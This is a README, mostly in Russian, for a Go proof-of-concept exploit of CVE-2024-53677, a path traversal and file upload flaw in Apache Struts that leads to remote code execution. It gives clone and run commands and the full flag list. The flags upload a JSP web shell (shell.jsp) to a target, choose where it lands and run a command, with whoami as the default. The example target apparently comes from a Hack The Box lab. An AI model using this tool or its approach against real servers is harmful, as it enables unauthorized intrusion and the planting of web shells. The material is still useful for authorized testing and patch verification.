
a proof of concept of CVE-2024-53677
Старая добрая уязвимость, которая затрагивает Apache Struts и приводит к LFI и удалённому выполнению кода.
Обход пути в Apache Struts → RCE (CVE-2024-53677)
Я потратил много времени, чтобы сделать этот эксплойт максимально настраиваемым, потому что, когда я впервые столкнулся с этой CVE, я не нашёл хорошего источника, в котором она была бы корректно реализована. У большинства флагов есть значения по умолчанию, так что не пугайтесь всех этих флагов.
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd CVE-2024-53677-POC
go run . -h
-command string
command to execute on the server default: whoami
-end-point string
post endpoint default to: upload.action
-file-location string
where to save the file into the server default: what test function return
-lfi-param string
Parameter name for LFI testing default: top.UploadFileName
-payload-file string
Path to the payload file default: ./shell.jsp
-payload-file-name string
name of the payload it self default: shell.jsp
-payload-param string
Parameter name for payload injection default: Upload
-test-file-name string
name of the testfile it self default: testfile.txt
-testing-file string
File used for testing default: ./testfile.txt
-url string
Target base URL (format http://strutted.htb/) do not forgot the [/] at the end
У всех этих команд есть значения по умолчанию. Я также реализовал тестовую функцию, чтобы проверять, куда следует помещать файл, и её тоже можно настраивать.
go run . -url http://127.0.0.1:8080/ -end-point upload.action
Несколько вещей, которые стоит отметить.
Не стесняйтесь модифицировать или дополнять эксплойт ♥️.